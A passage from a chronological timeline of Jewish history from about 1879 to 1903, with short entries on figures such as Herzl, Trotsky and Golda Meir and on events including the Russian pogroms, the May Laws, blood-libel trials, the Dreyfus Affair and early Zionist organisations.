anti-Semitic leader, founded the "Christian Social Workers Party" (later known as the CSP). Orginaly designed to fight against Social Democracy, it soon became synonymous with anti- Jewish demagogy. His Christian Socialist Workingmen's Union was a front for boycotting and/or bypassing Jewish businesses in favor of those belonging to the Teutonic race. Thus, a Jew became qualified to be a Jew not by his religion (which left him the option of conversion) but by his race, which not even the baptismal waters could cure. Stoecker can also be "accredited" with making anti-Semitism a national issue. 4619 1879 LEON TROTSKY (BRONSTEIN) (Russia) Trotsky was the son of a Jewish Odessian farmer. Believing there was no future for the Jewish people as a people, he became a contemporary of Lenin, helping him with his publication of Iskra (Spark). He was exiled and arrested many times before the Revolution. Trotsky played an important role in the Communist government and only after Lenin's death did Stalin expel him from the party. He was exiled in 1928 first to Turkey then Norway and finally to Mexico. Trotsky was assassinated on August 21, 1940 by a friend, presumably on Stalin's orders. Trotzky did not accept the concept of Jewish identity and was violently opposed to Zionism. 4623 1879 SAMUEL GOLDWYN (Goldfish) (Poland-USA) Film producer began by working in a glove factory. Forming a filmmaking partnership in 1913 with brother-in-law Jesse L. Lasky and Cecil B. de Mille, their first venture was The Squaw Man. He eventually formed Metro-Goldwyn-Mayer (MGM) and produced films which included Porgy and Bess, Guys and Dolls, and The Best Years Of Our Lives. He was also famous for his fractured use of the English language which became known as Goldwynisms with such gems as "Include me out", "We are dealing with facts and not realities", and I'll give you a definite maybe." 5561 1880 ERNEST BLOCH (Switzerland-USA) Although Bloch was not formally traditional, his music is suffused with Jewish themes. In Bloch's words: "This it is which I seek to feel within me and to translate in my music - the sacred race - emotion that lies dormant in our souls." His well-known works include the Shelemo, Baal Shem, America (an epic rhapsody) Symphony in C Sharp Minor and Avodat HaKodesh (Sacred Service for the Sabbath). 4632 1880 JOSEPH TRUMPELDOR (Odessa,Ukraine-Eretz Israel) First Jewish commissioned officer in the Czarist army. He lost his arm while fighting at Port Arthur in the Russo-Japanese War and became the highest decorated Jewish soldier in Russia. Trumpeldor emigrated to Eretz Israel in 1911 where he met Vladimir Jabotinsky. Together they formed the Zion Mule Corps (the Jewish Legion) in 1917 to fight with the British. He returned to Riga, and with the support of Kerensky, tried to form a Jewish army to fight its way through the Balkans to Eretz Israel. He died while defending Tel Hai, a settlement near the Lebanese border. 4628 1880 SHOLOM ASCH (Poland-Israel) Renowned Hebrew and Yiddish novelist. Most of his books, including Motke Ganef (Motke the Thief), reflect social realism rather than romanticism. 4631 1881 (Easter) KHERSON, ELIZABETHGRAD (Russia) A tavern dispute on blood libels spawned massive outbreaks against the Jews (in which soldiers often joined) in Kiev (May 12) and Odessa (May 15). In all, over a 223 pogroms occurred in Russia over the next two years. Ignatyev, the Minister of the Interior, insisted that the Jews caused the pogroms. General Drenbien refused to endanger his troops "for a few Jews". 4635 1881 BER BOROCHOV (Ukraine) Developed the Poale Zion (Zionist Labor Party). Its ideology was a synthesis between Jewish Nationalism and Marxism. He is best summed up in his own words: "Our ultimate aim is Socialism. Our immediate aim is Zionism. The class struggle is the means to achieve both aims." 4642 1881 POPE JOHN XXIII The first Pope to speak out forcefully on behalf of the Jews. Pope John (1958-1963) followed the controversial Pope Pius XII who during the holocaust had never publicly condemned the murder of the Jews. Pope John was outspoken in his sympathy for those Jews slaughtered by the Nazi's. He composed a "Prayer of Repentance" in which he begged forgiveness for all that the Church had done to the Jews. 4645 1881 REIGN OF ALEXANDER III (Russia) Devoted to medievalism, he urged the return to a Russian civilization. Alexander III attacked and persecuted liberals and revolutionaries alike. He did not though revert to reestablishing serfdom or canceling many of the judicial reforms. The most influential person during his reign was Pobestonostov, his financier and procurator of the Holy Synod, who earned the title "the Second Torquemada". The newspapers in Moscow, Kiev, and Odessa began a campaign against the Jews. The outcome of the anti-Jewish pogroms, which were to continue almost unabated until 1905, sparked the mass emigration of Jews from Russia and its environs to the West. 5568 1881 SAMUEL GOMPERS (1850-1924) (London-USA) A Sephardic Jew, he founded the Federation of Unions, the forerunner of the American Federation of Labor. During the first four years he refused a salary and sold cigars to support his family. He later accepted one hundred dollars a month as a stipend. 4637 1882 ALEXANDER III ISSUED THE MAY LAWS (Russia) Based on the "findings" of Count Ignatyev's commissions, the May or "Temporary" Laws were issued. Jews were banished from all rural areas and towns of less than ten thousand people, even within the Pale. Strict quotas were placed on the number of Jews allowed into higher education. As formulated by Konstantin Pobedonostev, the Russian statesman and anti-Semite, they were designed to "cause one-third of the Jews to emigrate, one-third to accept baptism, and one-third to starve". These laws remained in quasi-effect until 1914 and provided the impetus for migration to America as well as expanded interest in the settlement of Eretz Israel. 4650 1882 ARNOLD ROTHSTEIN "The Brain" (USA) Gambler and criminal mastermind known as The Czar of the Underworld, Rothstein began his career as a traveling salesman. He was accredited with being the designer of the synthesis between big business and organized crime. Rothstein had his hands in everything, including allegedly fixing the outcome of the 1919 World Series. He was also the archetype for the underworld boss. His students were a Who's Who of crime, including Meyer Lansky and Lucky Luciano. Rothstein was killed over a gambling debt, but although he was dying, he refused to name his murderer. 4658 1882 BILU MOVEMENT (Ukraine-Eretz Israel) As a result of the pogroms of the previous year, the Russian students at the University of Khrakov formed their own pioneering Zionist group called BILU, for Beit Ya'akov Lekhu Ve-nelkha (House of Jacob Let Us Rise and Go) (Isaiah 2:5). Led by Israel Belkind, it called for active colonialization of Eretz Israel. The BILU aspired to both a political-economic, as well as spiritual-national revival ("de retablir la situation"). 4646 1882 COUNT NIKOLAI IGNATYEV (Russia) The anti-Semitic minister of the Interior. He was requested by Alexander III to set up local commissions of inquiry into the blame for the recent pogroms. Ignatyev determined that they were caused by "Jewish exploitation." This led to the publishing of the May laws. In his desire to rid himself of the Jewish population, Ignatyev allowed Jews to emigrate. This resulted in massive immigration to the west. Alexander himself commented upon hearing about the pogroms "And I, to admit the truth , am glad when the Jews are being beaten". 4647 1882 FELIX FRANKFURTER (USA) United States Supreme Court judge, Harvard Professor of Law, and founder of the Civil Liberties Union. Frankfurter was known as a liberal and close associate of Brandeis as well as an early supporter of the Zionist movement.He is also remembered for his role in the Sacco and Vanzetti case. 4662 1882 LEON PINSKER (Poland) Published his Auto-Emancipation as a result of the Russian pogroms of the previous year. Pinsker advocated establishing a homeland as a cure for anti-Semitism. Eretz Israel was not his original suggestion, and only later did he join the fledgling Zionist movement. 4653 1882 MENACHEM ZEMBA (Poland) One of the prewar religious intellectual giants. A Gur Hassid, he published twenty manuscripts. Many others, including a 1,000 page commentary on the Jerusalem Talmud, were lost during the war. Locked in the Warsaw Ghetto, he inspired people to fight back, quoting halachic (lawful) demands to resist the Germans "with unequalled determination and valor for the sake of the sanctification of God". 4660 1882 ROSH PINA (Eretz Israel) Was founded by 130 Romanian Jews. Ironically they arrived on a ship to Beirut named the Titus.. The settlement was originally founded by residents of Safed in 1878 who had named it Gei Oni ("Valley of My Strength) but was abandoned after less then two years. 4654 1882 TIZA-ESZLAR (Hungary) A blood libel began when a servant girl went missing. Although not the slightest evidence was found that Jews were even remotely involved, the young son of the janitor of the synagogue was interrogated - whereby he described full details of the "murder." The Jews were then accused of having the girl kidnapped for ritual murder purposes. Fifteen people were brought to trial despite the protests of Lajos Kossuth (non-Jewish leader of the Hungarian Independence Movement) and the fact that the girl's body was found in the river. A year later all of them were acquitted. 4648 1883 COUNT K.I. PAHLEN (Russia) Was commissioned by Alexander III to "Study of the Current Laws Concerning the Jews" . His report, issued on May 24, 1888, recommended by a majority opinion "changing the system of laws and restrictions for a system of graduated laws of freedom and equality". They counted around 650 special laws concerning the Jews." The czar decided to accept the minority report by Count Dimitri Tolstoy, to continue the policy of preventing Jews from leaving certain areas and even instituted a quota for Jews at universities and secondary schools. 5570 1883 FRANZ KAFKA (Germany) Author who combined psychological analysis and moral philosophy in his brilliant works, i.e. The Trial, The Castle, and America. His metaphysical thinking was reflected in his belief in the "indestructible" in men who are always "guilty". Kafka became one of the most influential writers of the 20th century. He had little contact with Judaism and considered temple services "boring", yet as he grew older he began to take an interest in Zionism tried to learn Hebrew and even considered the idea of emigrating to Eretz Israel. None of Kafka's novels was printed during his lifetime. In spite of his instructions to destroy his manuscripts after his death, his friend Max Brod published them. 4664 1883 LEV KAMENEV (Rosenfeld) (Russia) Revolutionary writer and Soviet leader. A colleague of Lenin's, he co-edited revolutionary journals. Prior to the Revolution, Kamenev lead the movement in Tiflis, Georgia, and supposedly introduced Stalin to Lenin. Kamenev married Trotsky's sister, who asked him to edit his Party newspaper Pravda. After Lenin's death, he formed a triumvirate together with Stalin and Zinoviev which forced Trotsky into exile. Later, realizing Stalin's true direction of becoming a dictator, he began to oppose him. This cost him his power and eventually his life. Kamenev was executed in 1936 after a show trial. 4665 1884 HOVEVEI ZION (HIBBAT ZION)(Lovers of Zion) (Germany) Was founded in Kattowitz, Germany (which is now known as Katowice, Poland). Thirty-six delegates met in the first Pre-Herzl Zionist Conference. Rabbi Mohilever was elected president and Leon Pinsker was elected chairman. Under their guidance they tried to secure financial help (from Baron Edmond de Rothschild and others) for the new Jewish settlements to organize educational courses as well as counsel them about religious guidelines. They are considered the forerunner and foundation of the modern Zionist movement. This movement was mostly active in Russia and Romania, but it had branches throughout Europe and even some in the USA. Due in part to their precarious position within Eastern Europe, the Hovevei Zion did not deal with Zionism as a political movement. 4667 1885 PITTSBURGH PLATFORM (USA) A council on Reform Judaism which rejected the Messianic concept and the return to Eretz Israel. The platform took Reform further than the English Reform movement in that it also rejected dietary laws, some Mosaic legislation, and the Talmud. The platform was adopted four years later by the Reform Rabbinical organization, the Central Conference of American Rabbis (CCAR). Many rabbis resented the extremes to which Reform had gone and formed their own groups (i.e. Sabato Morais, 1823) which led to the creation of the Conservative movement. 4674 1886 AL JOLSON (Lithuania-USA) Entertainer. Jolson, born Asa Yoelson the son of a cantor(hazzan), became one of the big stars of vaudeville and an early film star. He loved to work the audience and and after singing for three hours with incredible energy, he could still call out: "You ain't heard nothin' yet." Jolson was successful in Broadway musicals and starred in the first full length talking movie The Jazz Singer in (1927) which reflected his own life. He was also the first entertainer to perform overseas for the USO (United Service Organization). He died soon after returning from performing for the troops in Korea. His two signature songs were Swanee and My Mammy. 5608 1886 ARYEH LEVIN ("Father of the Prisoners") (Eretz Israel) Known as Reb Aryeh, he was ordained by Rabbis Chaim Berlin and Samuel Salant. He devoted himself to volunteer work at the leper hospital and the prison in Jerusalem, as well as working in a yeshiva. He considered visiting and helping those jailed by the British Mandatory Government his special mission. Reb Aryeh consistently refused all honors, choosing to live in near poverty in the Mishkenot section of Jerusalem. 4684 1886 DAVID BEN GURION (Poland-Eretz Israel) Came to Eretz Israel as David Green in 1906. He joined the Jewish legion, rose in the ranks of the Zionist Labor Party, and created the Histadrut or Labor Confederation. Ben Gurion formulated the official Zionist policies during the Second World War and became Israel's first Prime Minister. He founded his own party (MAPAI) and joined with the religious parties and the general Zionist party to form a coalition. He served on and off until 1963 as Minister of Defense and Prime Minister. He played an important part in the Israeli victory in 1956. After 1963 he retired to a kibbutz (Sde Boker) in the Negev, which he called on the younger generation to settle. 4685 1886 EDUARD DRUMONT (France) Published his notorious anti-Semitic harangue La France Juive in which he attributed all of France's ills to the Jews. His writings helped provoke and maintain the Dreyfus Affair. 4680 1886 FRANZ ROSENZWEIG (Germany) Born into an assimilated Jewish family, he decided to convert to Christianity by first discovering Judaism. He never converted, but became a practicing Jew and renowned philosopher. His book, Star of Redemption, centered on the part that tradition should play in the life of a Jew and the role of Judaism in the world. Later in life he became paralyzed but continued to dictate his works to his wife. He helped create the Free Jewish House of Study in Frankfurt, and collaborated with Buber on a new translation of the Bible. 4682 1886 SIMON DIMANSTEIN (Russia) Communist leader. Dimanstein received rabbinical ordination by Haim Ozer Grodzenski but became active in the revolutionary movement. After the revolution, he became minister of Labor in Lithuania. He edited Der Emess, an anti-religious, anti-Zionist, and anti-Bundist periodical. He became head of the Institute for National Minorities and was a strong proponent of Jewish settlement in Birobidzhan. His early closeness to Joseph Stalin didn't prevent his execution during the purges of 1937. 5607 1887 JEWISH THEOLOGICAL SEMINARY ASSOCIATION (USA) The educational and spiritual center of Conservative Judaism. It was opened under the leadership of Sabato Morais. Morais, a rabbi of Congregation Mikve Israel in Philadelphia, sought to train rabbis who would help preserve Jewish traditions which he felt were being eroded by the "reformers" and their Pittsburgh Platform. In 1902, under Solomon Schechter, the Seminary was reorganized and the name changed to JTS. 4686 1887 MARC CHAGALL (Vitebsk, Russia-France) Artist, famous for his folkist fairy-tale cubist paintings of Eastern Europe. He helped establish the Russian Yiddish state theater. Later he went to live in Paris, where he was friendly with Modigliani and Soutine. Chagall designed the stained glass windows of the Hadassah Hospital synagogue in Jerusalem. His works are also displayed at the New York Metropolitan Opera House, the Paris Opera, the United Nations, the Cathedral at Metz, and the Knesset. 4694 1887 MORRIS COHEN ("Two Gun Cohen") (Canada) General, marksman, and gunrunner to the Chinese army. He served in World War I and later, due to his personal friendship with the local Chinese community in Canada, as Sun Yat Sen's personal bodyguard, saving his life a number of times. Chaing Kai-Shek appointed him a general in the Kuomintang Army. He trained the Chinese army against Japan. Cohen was captured by the Japanese and tortured. He was only released after the end of the war. He was one of the few people who tried to reconcile the two Chinese factions (nationalist and communist) and was always welcomed by both governments. 4692 1887 RENE SAMUEL CASSIN (France) French jurist and Nobel Laureate. Cassin served as a legal advisor to the League of Nations and served with General Charles de Gaulle during World War II. With the founding of the United Nations Cassin was the chief architect of the Declaration of Human Rights and served as president of the European court of Human Rights. His work earned him the Nobel Peace Prize. Cassin was also active in helping rebuild the Jewish communities in France and North Africa after the war. 4691 1887 SIDNEY HILLMAN (Lithuania - USA) Although originally trained for the rabbinate, Hillman became active at a very early-stage in the trade union movement (the Bund) in Lithuania. After spending time in jail for illegal activities, he immigrated first to England and then to the United States. There he helped establish the Amalgamated Clothing Workers of America (ACWA). As its president, he was responsible for a 44 hour work week and unemployment insurance. In 1935, he helped establish the Congress of Industrial Organizations (CIO). Hillman was a strong Zionist and joined the Jewish Agency in 1929. During WWII he was Roosevelt's chief labor advisor. 5545 1888 ISAAC HALEVI HERZOG (Eretz Israel) Rabbi Herzog, who also held a doctorate in literature, served as the Chief Rabbi in the Irish Free State. He succeeded Rabbi Kook as Chief Rabbi in Eretz Israel in 1936, a post he held for 22 years. Herzog was respected by all walks of Israeli life. After the Holocaust, he spent 6 months in Europe searching for Jewish children who had been hidden in monasteries. His writings include Divrei Yitzchak on the Talmud, Heichal Yitzchak on responsa and Main Institutions of Jewish Law. His son Chaim became Israel's sixth President. 4699 1888 JEWISH PUBLICATION SOCIETY OF AMERICA (JPS) WAS FOUNDED (USA) Its purpose was and is to publish books of Jewish interest in English. Among its hundreds of publications are Graetz's, Dubnow's and Baron's History of the Jews, and Ginsburg's Legends of the Jews. Other important authors included Israel Zangwill, Leo Baeck, Cecil Roth, Jacob R. Marcus, and Louis Finkelstein. They have also published the American Jewish Yearbook for nearly 100 years (1899). 4695 1888 WILHELM II (Germany) The last German Emperor. He showed a short-lived interest in Herzl. In general, he encouraged the racist authors of his day. 4697 1890 MENAHEM USSISHKIN (Russia-Eretz Israel) One of the founders of the Odessa Committee. The Committee was dedicated to the practical exponent of the Hovevei Zion in establishing agricultural settlements in Eretz Israel. Ussishkin later served as president of the Jewish National Fund. He was one of the few Zionist leaders who actually settled in Eretz Israel. 4710 1890 SARAH AARONSOHN (Eretz Israel) Jewish patriot and heroine. In 1915 she witnessed the Turkish massacre of Armenians, an experience which may have triggered her joining her brother Aaron in NILI's (see 1915) spy operations against the Turks. In 1917 on a visit to Egypt she was warned by the British not to return to Eretz Israel, but she refused to comply. Upon her arrival, she warned the members of NILI to disband but remained at home in Zichron Yaakov so as to allay any suspicion. She was arrested by the Turkish military authorities on October l of the same year. After three days of torture, and fearing that she may reveal information, she managed to shoot and kill herself. 6310 1890 SOLOMON MIKHOELS (Russia) Leading Russian and Yiddish actor famed for his roles as Tevye and King Lear. During the Second World War he tried to win support for the Russian war effort by touring England and the United States. On January 13, 1948 he was killed by the secret police under Stalin's orders, as part of a campaign to eradicate Jewish intellectualism and culture. 4714 1890 YITZCHAK SADEH (Russia-Eretz Israel) A military leader, Sadeh was decorated in the Czarist army in World War I. In the wake of the Arab rebellion of 1936, Sadeh - who had helped set up the labor brigade in the 1920's - proposed moving from a policy of defending settlements to seeking out Arab units in the open. He became the first commander of the Plugot Sadeh (Field Units) of the Haganah which became known as the Palmach. Yigal Alon described him as a great lover "of country, women, and the implacable logic of history". 4715 1890 ZIONISM Nathan Birnbaum (1864-1937) in his journal Selbstemanzipation (Self Emancipation) coined the term "Zionism". Birnbaum's idea was to change the philanthropic approach of the time towards the return of Jews to Eretz Israel to a more activist or political one. Although the idea of a return to Zion had been a foundation of Jewish thought and belief since biblical times, it only became a practical political movement at this time. This was later adopted as the Basel Program by the First Zionist Congress under Herzl (see 1897). 4711 1891 JEWISH COLONIAL ASSOCIATION (France-England) Was officially established by Baron de Hirsch. Other shareholders included, among others, Rothschild, Cassel, and Goldsmid. De Hirsh himself donated two million pounds and incorporated the Association in London. His plan was to promote migration of Russian and European Jews and settle them in agricultural areas in countries around the world. 4722 1891 WOODBINE (New Jersey, USA) Was established as an agricultural community with funding from Baron de Hirsch and his Baron de Hirsch Fund. The fund was dedicated to promoting rural Jewish communities in the United States and joined with the ICA (Jewish Colonial Association) in 1900. An agriculture school was established there in 1894. It became quickly apparent that it would be almost impossible to make a living only through agriculture, and light industry was also brought in. Other communities were established in New Jersey, including Vineland, Toms River, and Farmingdale, as well as many others throughout the USA. All were part of the efforts to absorb new Jewish immigrants in rural areas, as well as teach them the language and a trade. 4721 1891 ZVI JUDAH KOOK (Eretz Israel) Rabbi and religious Zionist leader. Rav Zvi Judah was the son of Abraham Isaac Kook. He succeeded his father as the head of Yeshivat Mercaz Harav. His lectures dealing with the "Love of the Land of Israel" drew large crowds. Rav Kook was instrumental in encouraging his students to settle in all parts of the land of Israel. His halachic decisions within the field of modern events were published as L'Netivot Yisrael. 4724 1892 ELHANAN LEWINSKY (1857-1910) (Russia) A Hebrew writer who published a utopian view of the Zionist dream, A Journey to the Land of Israel in the Year 2040. Lewinsky combined his job as the representative of Carmel wines with that of a Zionist leader traveling throughout Russia. He was a prolific journalist who made use of humor and Jewish legends in his writing. 4726 1892 KAISER WILHELM II (1859-1941) (Germany) Fired Adolph Stoecker for excessive socialism, but not for his anti-Semitism. Stoecker's Christian Socialist Party fell along with him, although anti-Semitism continued to be considered respectable. 4729 1893 HAROLD JOSEPH LASKI (England) Political scientist and socialist leader in England. A prolific writer and lecturer, his works include: Grammar of Politics, Democracy in Crisis and The American Democracy. He favored assimilation until World War II, when he became an outspoken Zionist. 4736 1893 JUSTINAS PRANAITIS (St. Petersburg, Russia) "Proved" that Jews used the blood of Christian children in the baking of matzos. In 1911 he was the "expert" witness in the Beilis trial. 4733 1894 ARTHUR SZYK (Poland-USA) A war cartoonist, he was also famous for his traditional and modern Jewish and secular characters using a technique of miniaturization. He became associated with Jabotinsky's Revisionists and the Irgun underground organization. 4740 1894 DREYFUS AFFAIR (France) Began in France. Alfred Dreyfus, an Alsatian captain, was accused of passing military secrets to the Germans. Dreyfus was not religious or even acknowledged as a Jew, yet he became the pawn of anti-Semitic and anti-Republic forces. The entire country became divided between Dreyfusards and anti-Dreyfusards. The subsequent trial and its anti-Semitic overtones served as an impetus for many Jews (i.e. Herzl) to become aware of their own Jewishness. 4737 1894 JACK BENNY (Benjamin Kubelsky) (USA) Like many comedians of his era, he began in vaudeville and became known for using his violin as a prop. In 1932, he began his radio show, The Jack Benny Program and in 1950, made the successful transition into television winning two Emmy awards. Benny was famous for his alter-ego personality: never aging beyond 39, a tightwad persona, and inept violin playing (he was actually generous in real life and an exceptional violinist). Trademarks of his comic routine was when he paused, resting his chin on his hand, and uttered the word "Well!" or telling his audience in an aside, "Now cut that out!" 5560 1894 NICHOLAS II (Russia) Last of the Russian Czars. Nicholas was extremely anti-semitic. He continued Alexander III's policies against the Jews and carried them one step further by commissioning Sergei Nilus, a monk, to write something which would arouse hatred of the Jews. The result of this was the infamous Protocols of the Elders of Zion (see 1905). A weak ruler, he was influenced by everyone around him: Mescherski (editor of a Slavophilist newspaper), Pobednostav and especially his wife, Princess Alix (Alexandra Fedorovna.) 4738 1895 DREYFUS AFFAIR (France) Dreyfus was tried and found guilt of treason. He was publicly degraded and sent to Devil's Island. Later on evidence was produced which proved that Major Esterhazy and Colonel Henry, Dreyfus' chief accusers, had forged the evidence, yet a new trial was not begun until 1899. 4741 1895 NAHUM GOLDMANN (Lithuania-Germany-USA) Jewish and Zionist leader. Goldmann was very involved early on in Zionist activities. After World War II he choose not to live in Israel, a move for which he was much criticized. Despite his personal separation of Zionism from living in Israel, he served in senior positions in the World Zionist Organization. Goldmann was a key player in the reparation agreements between Germany and Israel. He was active in the World Jewish Congress serving as its president until 1977. He was also was instrumental in the publication of the Encyclopedia Judaica. 4743 1896 HERZL (Vienna, Austria) Published Der Judenstaat (The Jewish State). This was basically a revision of his Address to the Rothschilds. In it Herzl envisioned a Jewish state as the only solution to the "Jewish Question". This could be attained in two stages, firstly the establishment of a political base and then mass aliyah (immigration). Many Western European Jews rejected his thesis, but it had the effect of pushing him into the spotlight and thereafter he was regarded the leader of the Zionist movement. 4746 1896 SAMUEL IRVING ROSENMAN (USA) Jurist and presidential advisor. Rosenman began his liberal politics helping Roosevelt when he was governor of New York. He continued in this role throughout Roosevelt's presidential terms in office. Rosenman is credited with coining the slogan, the New Deal and the term "the Brain Trust" He was especially helpful to Weizmann bringing him the information that Truman would recognize the Jewish state as long as partition was still accepted by the UN. 4751 1897 FIRST CONFERENCE OF THE BUND (Jewish Workers Party) (Vilna,Lithuania) It was the first Jewish Socialist party in Eastern Europe. At first decidedly anti-Zionist and pro-Yiddishist, it was organized as a union of Russian Jewish socialist groups. The Bund exerted a great influence on Jews in Europe and America. 4754 1897 FIRST ZIONIST CONGRESS (Basel, Switzerland) Was convened by Theodore Herzl and Max Nordau. It was represented by a hundred and ninety-seven delegates. Herzl put forth his Basel Program, whose aim was "the establishment of a Jewish Homeland in Eretz Israel secured by public law". The congress endorsed the founding of the Zionist Organization later known as the World Zionist Organization, along with other permanent institutions. It also endorsed the Zionist congress as a national assembly representing the entire Jewish people. The congress transformed the Zionist movement into an official political movement. 5495 1897 LOUIS "LEPKE" BUCHALTER (USA) Crime boss. Though quiet, Lepke was known for his violence. He ruled over an army of gangsters who controlled unions and the extortion rackets. Lepke was one of the founders of the National Crime Syndicate and was in charge of the enforcement branch which became known as "Murder Inc." In 1944 he was executed in Sing Sing Prison for killing a truck driver. 4759 1898 ALFRED EISENSTAEDT (Germany-USA) Has been called the "father of photojournalism". Starting in Berlin in 1929 he produced candid but incisive documentary photographs and portraits. In 1936, he became one of the original staff photographers of Life Magazine. 4771 1898 EMILE ZOLA (France) Acting on behalf of Dreyfus, he issued his famous "J'Accuse" letter in Clemenceau's paper L'Aurore condemning the French establishment in the Dreyfus Affair. 4761 1898 GOLDA MEIR (MEYERSON) (Russia-USA-Eretz Israel) Fourth Prime Minister of Israel. Born in Russia, her earliest memories were of the pogroms. Her family moved to Milwaukee and in 1921 she moved from there to Israel and worked at various jobs on a kibbutz and in the Histadrut. She became Ambassador to Russia in 1948 and Foreign Minister in 1956. In 1970, after the death of Levi Eshkol, she was appointed Prime Minister and served until after the Yom Kippur War when, accused of unpreparedness, she resigned. 4769 1898 KAISER WILLIAM II (Germany) Visited Eretz Israel and met with Herzl. Herzl was disappointed by the lack of commitment on the part of the Kaiser. Much of this was due to the opposition to the Zionist enterprise of German liberal Jews, bankers, and his foreign minister, Bernhard von Buelow. 4764 1898 KIEV (Ukraine) A decree by the Russian Czar (Nicholas II) explicitly barred Jews from living in major Russian cities. The action followed laws issued the previous May (the "May laws"), restricting Jewish settlement to the Pale of Settlement. In Kiev, alone, some 7000 Jews were forced to relocate. 4763 1898 SERGEI EISENSTEIN (Russia) Russian film director. An architect by training, he joined the Russian Revolution. His first film was in 1924 Strike but it was his next film which propelled him into film history with The Battleship Potemkin. He was constantly having to fight Soviet politics, often having parts of his films re-edited (October), or even withheld (Ivan the Terrible) if it did not meet Stalin's approval. His classic films included The General Line, Alexander Nevsky and Ivan the Terrible. 4768 1899 HILSNER AFFAIR (Polna,Bohemia) A young seamstress was found murdered in a forest, her throat cut. Leopold Hilsner, a 23 year old semi illiterate tramp, was seen near the site and accused of the murder despite the lack of incriminating evidence. It soon developed into a ritual murder accusation and Hislner was sentenced to death. Through the efforts of Tomas Masaryk (later the first President of Czechoslovakia) an appeal was made to the Supreme Court. Masaryk also published a pamphlet against ritual murder accusations. Hilsner was again sentenced to death but it was commuted to life imprisonment. He was pardoned by Karl (Charles)I of Austria on March 24, 1918. 4772 1899 DREYFUS' SECOND TRIAL (France) Dreyfus was again convicted of treason but due to "extenuating circumstances" he was sentenced to "only" five more years of imprisonment. On the advice of his lawyer, Waldeck-Rousseau, Dreyfus withdrew his appeal and was granted a "pardon" by the president of the republic. 4773 1899 JEWISH COLONIAL TRUST (England-Eretz Israel) The financial arm of the World Zionist Organization was set up in England by Herzl. Its goal was to encourage Jewish settlement and projects which would "advance the Zionist cause". One of its subsidiaries, the Anglo-Palestine Company, later became Bank Leumi. Other investment helped create the Israel Electric Cooperation and Bank Hapoalim. 4774 1899 MOSHE KOUSSEVITZKY (Kusevitsky) (Lithuania - USA) Hazzan. Koussevitzky became the cantor in the Great Synagogue of Vilna in 1924. After an argument in 1927 between Sirota and the Board regarding his frequent concerts, Koussevitzky was appointed in his place at the Great Synagogue ("Tlomackie Shul") in Warsaw. During WWII he found refuge in Russia where he even performed in the Russian Opera. He immigrated to the United States after the war. He was considered by many to rival Yossele Rosenblatt for the title of the greatest cantor of all times. 5543 1900 KONITZ (Germany) A blood libel occurred after the death of a local student. Wolf Israelski was accused and arrested, while Count Plucker promoted riots against the Jews. After Israelski was proven innocent, two others, Moritz Lewy and Rosenthal, were arrested on the same charge. Rosenthal and Lewy were acquitted, but Lewy was sentenced to four years for denying he knew the victim. All the evidence was based on the testimony of a petty thief, Masloff, who later received only one year for perjury. 4777 1901 HERZL (Ottoman Empire) Met with the Sultan of Turkey to discuss the establishment of a Jewish state and the obtaining of a charter. Herzl failed in both attempts. 4780 1901 JEWISH NATIONAL FUND (Keren Kayemet L'Yisrael) (Switzerland-Eretz Israel) Was created at the 5th Zionist Congress in Basel. Conceived of by Dr. H. Schapira, it was dedicated to purchasing and reclaiming land in order to create a national homeland. The land was bought and leased to settlers for a period of forty-nine years. This was in accordance with Jewish law in which land is leased only until Jubilee (forty-nine years) and then returned to its original owner. Today the JNF is actively involved in afforestation, water reserves, and the environment, as well as education. 4781 1902 MENACHEM MENDEL SCHNEERSOHN (Russia-USA) Rabbi and Hasidic leader of the Habad - Lubavitch movement. Although he was not a direct descendent, he was chosen by Rabbi Jacob Joseph Schneersohn, his father-in-law, as his designated successor. After leaving Russia, Schneersohn pursued a degree at the Sorbonne in philosophy and electrical engineering. He arrived in the USA in 1941 and worked for a few years as an electrical engineer for the U.S. Navy. After the war Schneersohn headed the Merkos L'Inyonei Chinuch - the educational arm of the Habad movement. With his father-in-law's death in 1950 he was officially appointed as his successor. Under the direction of "the Rebbe" (as he was popularly known), Habad became a world-wide movement that sent its emissaries to remote corners of the world. Having no heirs, Habad was left without a spiritual leader after his passing. 4795 1902 MIZRACHI MOVEMENT (Vilna,Lithuania) Was set up by Rabbi Isaac Jacob Reines as a religious Zionist organization based on the Basel Program and commitment to the Torah. Mizrachi (the acronym of Merkaz Ruchani (Spiritual Center)) is both an ideological and an educational movement. Its slogan "Eretz Israel for the people of Israel according to the Torah of Israel" expressed the idea that the Torah is the spiritual heart of Zionism. There were bitter debates regarding the inclusion of cultural activities in addition to practical political Zionism. Within a year over 200 branches were established in Russia, and within two years the Mizrachi World Organization was established. The Mizrachi workers movement "Hapo'el Hamizrachi" tried to organize and unify the early religious pioneers. Mizrachi has a youth movement - Bnei Akiva - and two women's organizations - Emunah and AMIT. 4786 1902 MORRIS "MOE" BERG (USA) Baseball player and spy. Berg, a major league catcher for several years, had a degree from both Princeton and the Columbia Law School. Before World War II he was asked by the U.S. government to take on a number of spy missions in Europe. He spoke 12 languages and served in the Office of Strategic Services (OSS), the precursor to the CIA. 4793 1903 CHAIM NACHMAN BIALIK Wrote the poem In the City of Slaughter. In this poem Bialik chastised the Jews for not defending themselves in the massacre of Kishinev. Herzl was also affected by Kishinev and he decided to visit Russia and give consideration to the Uganda Plan. In America, groundwork was laid for the American Jewish Committee and American Jewry was cast into international prominence. 4797 1903 JOSEPH DOV SOLOVEITCHIK, "the Rav" (Poland-USA) Rabbi, philosopher and scholar. Beginning as a young talmudic scholar, he received his doctorate in philosophy at the University of Berlin. He immigrated to the USA with his wife Tonya who had a doctorate in education. Soloveitchik founded the first Jewish day school in New England and in 1941 succeeded his father as professor of Talmud at Yeshiva University. He was offered but declined to become the Chief Rabbi in Israel (1959). Though reluctant at first to publish his writings, he had a profound affect on Orthodox Jewry. Among his books and essays are Ish ha-Halacha (The man of Halacha), The Lonely Man of Faith, Al ha-Teshuvah (On Repentance), and Be-Sod ha-Yachad (Aloneness and Togetherness). 4803 1903 KISHINEV (Bessarabia) Riots broke out after a Christian child, Michael Ribalenko, was found murdered (Feb. 16). Although it was clear that the boy had been killed by a relative, the government chose to call it a ritual murder plot by the Jews. The mobs were incited by Pavolachi Krusheven, the editor of the anti-Semitic newspaper Bessarabetz, and the vice governor, Ustrugov. Vyacheslav Von Plehve, the Minister of Interior, supposedly gave orders not to stop the rioters. During three days of rioting, forty-seven Jews were killed, ninety-two severely wounded, five hundred slightly wounded and over seven hundred houses were destroyed. Despite a world-wide outcry, only two men were sentenced to seven and five years and twenty-two were sentenced for one or two years. This pogrom was instrumental in convincing tens of thousands of Russian Jews to leave Russia for the West and for 